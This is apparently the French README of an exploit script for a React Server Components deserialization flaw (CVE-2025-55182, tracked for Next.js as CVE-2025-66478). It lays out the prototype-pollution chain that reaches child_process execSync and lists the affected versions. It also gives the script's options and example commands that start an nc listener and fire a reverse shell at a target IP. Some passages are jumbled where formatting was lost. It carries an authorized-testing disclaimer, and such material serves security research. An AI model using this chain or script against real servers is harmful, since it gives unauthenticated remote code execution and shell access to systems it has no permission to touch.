
Preuve de concept d'exploitation pour CVE-2025-55182/66478, une RCE par désérialisation des React Server Components, délivrant un reverse shell via une requête multipart spécialement conçue.
Preuve de concept d'exploitation pour CVE-2025-55182 — surnommée publiquement
« React2Shell » — une vulnérabilité de pollution de prototype côté serveur
dans la désérialisation des Server Actions des React Server Components
(react-server-dom-webpack / -parcel / -turbopack), que Next.js
a suivie sous l'identifiant CVE-2025-66478 (rejetée par la NVD comme
doublon, mais toujours l'identifiant couramment utilisé pour discuter de
l'impact de ce bug sur Next.js en particulier).
Une seule requête HTTP multipart malveillante pollue Object.prototype et
parcourt la chaîne de prototypes pour atteindre le constructeur Function,
permettant à un attaquant non authentifié d'exécuter du code Node.js arbitraire
dans le processus serveur — CVSS 10/10.
Cause racine. Le désérialiseur de réponses d'actions RSC (requireModule)
résout les chemins d'objets envoyés par le client (par ex. "$1:__proto__:then")
sans valider que la clé cible n'est pas une clé réservée/dangereuse
comme __proto__. Définir __proto__ sur un objet simple pollue
Object.prototype lui-même, donc chaque objet créé par la suite hérite
de la propriété contrôlée par l'attaquant.
Chaîne d'exploitation.
then → "$1:__proto__:then" — atteindre la chaîne de prototypes._response._formData.get → "$1:constructor:constructor" — remonter
du prototype pollué jusqu'au constructeur Function._response._prefix — chaîne contrôlée par l'attaquant, insérée dans le code
exécuté lorsque le serveur tente de résoudre le « thenable » fabriqué
(un faux objet de type Promise). Cette preuve de concept la définit sur
process.mainModule.require('child_process').execSync('<cmd>').0, 1) dans
un POST à la racine de l'application avec un en-tête Next-Action, ce qui
achemine la requête directement vers le gestionnaire de Server Actions vulnérable.Versions affectées (selon le rapport de Datadog) :
| Bibliothèque | Vulnérable | Corrigée |
|---|---|---|
react-server-dom-parcel | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-webpack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-turbopack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
Next.js est affecté sur les versions 15.x, 16.x et 14.3.0-canary.77+ lors de l'utilisation de l'App Router. Corrigé dans les versions 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 et 16.0.7.
Pour des tests de sécurité autorisés et un usage éducatif uniquement (par ex. laboratoires CTF/HTB, votre propre infrastructure, ou des engagements avec autorisation écrite). N'exécutez pas cela contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.
curlbashnc -lvnp <port>) sauf si
vous fournissez votre propre commande via -cbusybox nc (ou adapter -c à l'utilitaire shell
disponible sur la cible) pour que la commande de reverse shell par défaut
fonctionnechmod +x exploit.sh
./exploit.sh -t <cible> -L <port_local> [options]
| Option | Requis | Description |
|---|---|---|
-t, --target | oui | Hôte/IP de la cible exécutant l'application Next.js vulnérable |
-L, --lport | oui* | Port local sur lequel votre écouteur est lié |
-p, --port | non | Port de la cible (défaut : 3000) |
-l, --lhost | non | Votre IP pour le rappel (défaut : détection automatique) |
-i, --iface | non | Interface pour détecter automatiquement --lhost |
-c, --command | non | Commande personnalisée à exécuter sur la cible (remplace le reverse shell par défaut) |
--timeout | non | Délai d'expiration de la requête curl en secondes (défaut : 3) |
-v, --verbose | non | Afficher les détails de la requête/réponse |
-h, --help | non | Afficher l'aide |
* non requis si -c/--command est fourni à la place.
# 1) démarrer un écouteur
rlwrap nc -lvnp 9090
# 2) déclencher l'exploit
./exploit.sh -t 10.129.245.214 -L 9090